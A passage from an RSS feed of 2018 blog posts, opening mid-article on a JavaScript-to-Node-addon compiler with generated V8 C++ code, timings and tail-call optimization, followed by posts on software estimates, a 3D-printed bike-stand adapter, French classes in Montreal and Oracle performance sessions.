&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_26&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetCurrentContext&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Global&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;NewFromUtf8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;console&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;NewFromUtf8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;log&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_29&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn_28&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_29&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;result_30&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;NODE_SET_METHOD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;jsc_main&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jsc_main&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;NODE_MODULE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NODE_GYP_MODULE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Init&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let's time this version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;node&lt;span class="w"&gt; &lt;/span&gt;build/recursion.js
&lt;span class="m"&gt;6765&lt;/span&gt;
node&lt;span class="w"&gt; &lt;/span&gt;build/recursion.js&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.16s&lt;span class="w"&gt; &lt;/span&gt;user&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.03s&lt;span class="w"&gt; &lt;/span&gt;system&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;107&lt;/span&gt;%&lt;span class="w"&gt; &lt;/span&gt;cpu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.175&lt;span class="w"&gt; &lt;/span&gt;total
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;jsc, over twice as slow, is already falling behind Node. :)&lt;/p&gt;
&lt;p&gt;As I incremented the number passed to my fibonacci function the
compiled program time to completion get exponentially worse. Node
stayed the same. I decided to try tail-call optimization to decrease
the performance distance between Node and jsc.&lt;/p&gt;
&lt;p&gt;I implemented tail-call optimization for the interpreter in BSDScheme
by putting all functions in a loop that would break if tail-call
elimination was not to happen. It took me a week to implement this and
I never put it in place for the compiler. This time around I was able
to add basic tail call elimination to jsc in two hours. It is done
by &lt;code&gt;label&lt;/code&gt;s and &lt;code&gt;goto&lt;/code&gt;s instead of a tail call
when applicable.&lt;/p&gt;
&lt;p&gt;Here is a tail-call optimized version of the same program
(example/tco.js):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We add a call to &lt;code&gt;main()&lt;/code&gt; again for Node and time it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;node&lt;span class="w"&gt; &lt;/span&gt;example/tco.js
&lt;span class="m"&gt;12586269025&lt;/span&gt;
node&lt;span class="w"&gt; &lt;/span&gt;example/tco.js&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.06s&lt;span class="w"&gt; &lt;/span&gt;user&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.02s&lt;span class="w"&gt; &lt;/span&gt;system&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;96&lt;/span&gt;%&lt;span class="w"&gt; &lt;/span&gt;cpu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.080&lt;span class="w"&gt; &lt;/span&gt;total
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And compile it with jsc and time it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;jsc&lt;span class="w"&gt; &lt;/span&gt;example/tco.js
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;node&lt;span class="w"&gt; &lt;/span&gt;build/tco.js
&lt;span class="m"&gt;12586269025&lt;/span&gt;
node&lt;span class="w"&gt; &lt;/span&gt;build/tco.js&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.07s&lt;span class="w"&gt; &lt;/span&gt;user&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.02s&lt;span class="w"&gt; &lt;/span&gt;system&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;95&lt;/span&gt;%&lt;span class="w"&gt; &lt;/span&gt;cpu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.087&lt;span class="w"&gt; &lt;/span&gt;total
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Well that's not bad at all. :)&lt;/p&gt;
&lt;h3 id="next-steps-with-jsc"&gt;Next steps with jsc&lt;/h3&gt;&lt;p&gt;jsc has very limited support for... everything. Today I added almost
all primitive numeric operations + equality/inequality operations +
unit tests. jsc does not yet support nested functions, callbacks, or
closures. It supports &lt;code&gt;while&lt;/code&gt; loops but not
yet &lt;code&gt;for&lt;/code&gt; loops. And I'm not sure if it supports &lt;code&gt;else
if&lt;/code&gt;. It does not support arrays or objects let alone
constructors and prototypes. Adding support for these is low-hanging
fruit.&lt;/p&gt;
&lt;p&gt;After the low-hanging fruit, more interesting projects for jsc include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;generating C++ with embedded V8 rather than only targeting Node addons&lt;/li&gt;
&lt;li&gt;type inference or type hinting for generating unboxed functions a la Cython and SBCL&lt;/li&gt;
&lt;/ul&gt;</description><author>Notes on software development</author><pubDate>Sun, 02 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/compiling-dynamic-programming-languages.html</guid></item><item><title>Xft but for XCB</title><link>https://venam.net/blog/unix/2018/09/02/fonts-xcb.html</link><description>In this post I'm going to go over "fonts for xcb" a mini-project I've been working on recently and I'll document the parts that are not usually found online.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Sat, 01 Sep 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2018/09/02/fonts-xcb.html</guid></item><item><title>Crazy Rich Asians</title><link>https://olshansky.info/movie/crazy_rich_asians/</link><description>Olshansky's review of Crazy Rich Asians</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 01 Sep 2018 17:43:14 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/crazy_rich_asians/</guid></item><item><title>How AI could destroy humanity.</title><link>https://mbutler.org/how-ai-could-destroy-humanity/</link><description>Governments and corporations realize personal data (consumer, creative, social, etc.) is the most valuable commodity. Tremendous wealth is generated from this, so a type of Universal Basic Income is established whereby people trade their data for a baseline standard of living. The poverty rate plummets and the move is heralded as a huge societal win. [&amp;#8230;]</description><author>mbutler</author><pubDate>Fri, 31 Aug 2018 04:31:53 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/how-ai-could-destroy-humanity/</guid></item><item><title>Even bad estimates are valuable if you use them right</title><link>https://ntietz.com/blog/even-bad-estimates-valuable/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;Estimating software projects is hard, if not impossible. This seems likely to be fundamental to the work, because we're inventing new things and invention doesn't happen on a fixed schedule. And yet, many teams still estimate how long their tasks will take to finish. Why should you do this, if you can't do it accurately? You do it because it can help you reach your real goal of solving a problem as quickly as possible. But when you do it, you need to have really solid processes around estimating, or the estimates will be used and abused and can kill your team.&lt;/p&gt;
&lt;p&gt;Let's establish a baseline first: what's an estimate? It's a measure of how long a piece of code is expected to take to complete. This includes the time you need to do non-code tasks, like reproduce a bug or model your data. This includes the time it takes to test your feature, to write automated tests, and to go through the code review and QA process, since those can lead to code changes. Simply put: it's the total amount of time that you expect any member of your team to invest in this change, in any way.&lt;/p&gt;
&lt;p&gt;You can do these estimates a &lt;a href="https://producthabits.com/engineering-estimates/"&gt;few different ways&lt;/a&gt;, such as with story points, t-shirt sizing, or time buckets. One important thing to do, regardless of which metric you use, is to think about and quantify your &lt;strong&gt;uncertainty&lt;/strong&gt;: if you're highly uncertain of an issue's size, then you might want to timebox some investigation into the issue to reduce the uncertainty and de-risk it. These estimates, of any type, are useful to let you know when things are going off the rails&lt;sup class="footnote-reference" id="fr-1-1"&gt;&lt;a href="https://ntietz.com/blog/even-bad-estimates-valuable/#fn-1"&gt;[1]&lt;/a&gt;&lt;/sup&gt;. Each sprint, you decide on what your team is trying to accomplish. During the sprint, you let everyone know what you're working on and what you're blocked by at a daily standup. That standup is generally the place for you to say "Hey, I'm working on feature X, but it's turning out to be a lot more complex than we thought; could anyone see if I'm missing something, or should we reduce scope on this?" Then your team can make an informed decision and you can either change course to reduce scope, remove some blockers, or charge ahead as planned and accept that this task is more complex than you anticipated (it happens!). But without these estimates, you're flying blind, and you'll just &lt;strong&gt;always&lt;/strong&gt; charge ahead, missing opportunities to reduce scope or collaborate more with your team members.&lt;/p&gt;
&lt;p&gt;With estimates, you also are forced to think through things at the beginning. You switch from fast, instinctive thinking into slow, deliberate thinking so you find the true complexity of issues rather than assuming their surface level simplicity is accurate. This is incredibly helpful in reaching where you want to go, because it leads you to focus on creating the shortest path to a solution which you can test with users. If creating a login page is super complicated, well, do you &lt;strong&gt;need&lt;/strong&gt; the login page to test your app with real humans? Or can you hack it, using an identity-as-a-service provider or even using &lt;strong&gt;no&lt;/strong&gt; login for hands-on user trials?&lt;/p&gt;
&lt;p&gt;Doing estimates does have drawbacks, however. You need to have buy-in from everyone your team interfaces with, as well, or you risk Deadline Driven Development. If you have solid estimates and the business team gets their hands on them - without explanations from you - you can expect that these features will be promised on some form of timeline. So, you must &lt;strong&gt;explain&lt;/strong&gt; to your stakeholders beforehand that these estimates are only for course correction during the development process, and they're separate from estimates you will give of when features will be done overall. If this isn't done, you can lose trust on your team, you will lose trust of the people outside of your team, and morale can drop precipitously.&lt;/p&gt;
&lt;p&gt;The other main drawback is simply that providing estimates takes time, which is time you could spend just writing code instead. If you never use the estimates to adjust what you are working on, then putting in the time to do estimates is a pure waste. However, if you do put in the time to do estimates, you will spend less time coding - but because your team will be able to respond to things immediately, you will still reach your objective more quickly.&lt;/p&gt;
&lt;p&gt;An ideal scenario for estimating and using them well looks like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You are using two-week sprints, within the context of a larger goal (solve problem X)&lt;/li&gt;
&lt;li&gt;You have daily standups which everyone on your team attends&lt;/li&gt;
&lt;li&gt;At the beginning of each sprint, you plan what everyone is working on and estimate it to ensure that it's an appropriate amount of work for one sprint (you may also add "background tasks" to fill time when people are blocked)&lt;/li&gt;
&lt;li&gt;Every day, you run standups to see what's at risk of going off the rails and what's blocking progress so the team can get out in front of it&lt;/li&gt;
&lt;li&gt;Whenever things look like they might go off the rails, you reassess and adjust course: shrink scope, expand estimate, or remove blockers&lt;/li&gt;
&lt;li&gt;Throughout the process, everyone outside of the team either cannot see your estimates or understands that they are &lt;strong&gt;not&lt;/strong&gt; deadlines or promises&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So go forth and try doing estimates, and see how it goes! It's challenging, but you can improve at it quickly, and the benefits are really great for doing them, especially in a team environment. You will quickly find that you can anticipate issues more quickly and that you think about risks earlier in the project. Just don't let your business team make promises based on them!&lt;/p&gt;
&lt;hr /&gt;&lt;ol class="footnotes-list"&gt;
&lt;li id="fn-1"&gt;
&lt;p&gt;This is why I use clock time for my estimates, rather than story points or t-shirt sizes. When you're using them to adjust course mid-sprint, you need to be able to quickly tell if you're going off the rails. That's much harder with t-shirt sizes, since you need to convert from the size to clock time and then compare your progress - and the sizes don't correspond to exact clock times, anyway! &lt;a href="https://ntietz.com/blog/even-bad-estimates-valuable/#fr-1-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Fri, 31 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/even-bad-estimates-valuable/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>3D Printed Thru-Axle Adapter</title><link>https://huphtur.nl/3d-printed-thru-axle-fork-mount-adapter/</link><description>&lt;p&gt;Recently I got me one of those bikes with disc brakes. However my &lt;a href="https://amzn.to/2LH6C1W"&gt;Tacx Spider Team Repair Stand (T3050)&lt;/a&gt; only came with a quick release fork mount, which doesn’t work with the new disc brake fork (12mm × 100mm).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Quick release bike fork mounted on a bike stand." src="https://huphtur.nl/images/tacx-quick-release.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Sure, one could go and buy &lt;a href="https://amzn.to/2C3DpyT"&gt;the updated stand&lt;/a&gt; (which comes with all kinds of handy tools), or other &lt;a href="https://amzn.to/2PObnu9"&gt;weird looking adapters&lt;/a&gt;, but since I’m a frugal Dutch guy, and already spent all my money on a new bike, I decided to 3D print an adapter.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Hammer about to strike the aluminium insert of the bike stand." src="https://huphtur.nl/images/tacx-hammer.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;First up, I grabbed a hammer and bashed out the aluminum quick release axle from the front frame holder. It sat in pretty pretty tight so had to use some force (which is not easy for scrawny cyclists), but eventually it came out.&lt;/p&gt;
&lt;p&gt;Next, I measured all the things and created a 3D model, visited my local 3D printer and got the adapter printed.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Close up of 3D printed thru-axle adapter." src="https://huphtur.nl/images/tacx-3d-fork-adapter.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Fresh off the press, this print is solid. Only took a couple hours to print. Cost was $60 (you can probably find better deals online), cheaper than buying a new work stand.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I have no idea what type of filament was used. Probably some basic material. The adapter doesn’t have to be that strong as not too many forces are put on it, just enough to hold the skewer and fork in place.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Thru-Axle bike fork mounted on the bike stand." src="https://huphtur.nl/images/tacx-thru-axle.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;All that was left to do is insert it in the holder and presto! My fancy bike now works with the old stand.&lt;/p&gt;
&lt;h2&gt;How to Print Your Own&lt;/h2&gt;
&lt;p&gt;I’ve uploaded the &lt;a href="https://www.thingiverse.com/thing:3076948"&gt;3D file&lt;/a&gt; to Thingiverse so you can go and print your own.&lt;/p&gt;
&lt;p&gt;The dimensions are for &lt;strong&gt;12mm × 100mm&lt;/strong&gt; thru-axle forks, but you can easily adapt the 3D file for other sizes.&lt;/p&gt;
&lt;p&gt;Use &lt;a href="https://www.3dhubs.com/"&gt;3D Hubs&lt;/a&gt;, &lt;a href="https://www.google.com/maps/search/3D+Printing/"&gt;Google Maps&lt;/a&gt;, or &lt;a href="https://www.yelp.com/search?cflt=3dprinting"&gt;Yelp&lt;/a&gt; to find a 3D printer.&lt;/p&gt;
&lt;p&gt;Hit me up on the socials @huphtur if you printed one.&lt;/p&gt;</description><author>huphtur</author><pubDate>Fri, 31 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/3d-printed-thru-axle-fork-mount-adapter/</guid></item><item><title>Registering for affordable French classes at the Commission scolaire de Montréal</title><link>https://www.davidschlachter.com/misc/montreal-french-classes-csm</link><description>Full- and part-time French classes in Montreal for about $50 per semester? Information about these classes is available only in French: here's an overview if you're not yet fluent enough to get the details in French.</description><author>David Schlachter</author><pubDate>Thu, 30 Aug 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/montreal-french-classes-csm</guid></item><item><title>Helping - How to Offer, Give, and Receive Help</title><link>https://june.kim/helping-how/</link><author>june.kim</author><pubDate>Thu, 30 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/helping-how/</guid></item><item><title>Oracle SQL Monitoring and Advanced ASH Usage Hacking Sessions!</title><link>https://tanelpoder.com/posts/oracle-sql-monitoring-advanced-ash-usage-hacking-session/</link><description>&lt;p&gt;It&amp;rsquo;s almost the beginning of September, time to get back to school, everyone!&lt;/p&gt;
&lt;p&gt;I recently decided to do my &lt;a href="https://tanelpoder.com/posts/2018-08-20-oracle-sql-tuning-training-oracle-troubleshooting-training/"&gt;Oracle SQL Tuning and Performance &amp;amp; Troubleshooting training classes&lt;/a&gt; again. So I will also run some &lt;em&gt;free&lt;/em&gt; hacking sessions for promoting these classes, but also for sharing cool new stuff with people who can&amp;rsquo;t attend the training and of course for fun too!&lt;/p&gt;
&lt;p&gt;The hacking sessions do not follow a formal training structure, have very few or no slides at all, just live demos of putting performance tools &amp;amp; techniques into use!&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Wed, 29 Aug 2018 21:25:38 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/posts/oracle-sql-monitoring-advanced-ash-usage-hacking-session/</guid></item><item><title>Unexpected Benefits From Shrinking My Pull Requests</title><link>https://denvaar.dev/posts/unexpected_benefits_from_shrinking_my_pull_requests.html</link><description>Small pull requests help improve the code review process, but making it a priority has helped me improve in several ot her ways.</description><author>denvaar's website</author><pubDate>Wed, 29 Aug 2018 08:40:09 GMT</pubDate><guid isPermaLink="true">https://denvaar.dev/posts/unexpected_benefits_from_shrinking_my_pull_requests.html</guid></item><item><title>self-publishing vs publisher</title><link>https://yasha.solutions/self-publishing-vs-publisher/</link><description>Also read this piece by tim ferris : How to Write a Bestselling Book This Year — The Definitive Resource List and How-To Guide</description><author>Yasha Solutions</author><pubDate>Wed, 29 Aug 2018 08:25:50 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/self-publishing-vs-publisher/</guid></item><item><title>designers eyes problem</title><link>https://yasha.solutions/designers-eyes-problem/</link><description/><author>Yasha Solutions</author><pubDate>Wed, 29 Aug 2018 06:30:14 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/designers-eyes-problem/</guid></item><item><title>Waspr Project - Inception</title><link>https://craftyduck.rocks/blog/waspr-en/01-inception</link><description>How the whole thing started</description><author>CraftyDuck.Rocks</author><pubDate>Wed, 29 Aug 2018 03:00:00 GMT</pubDate><guid 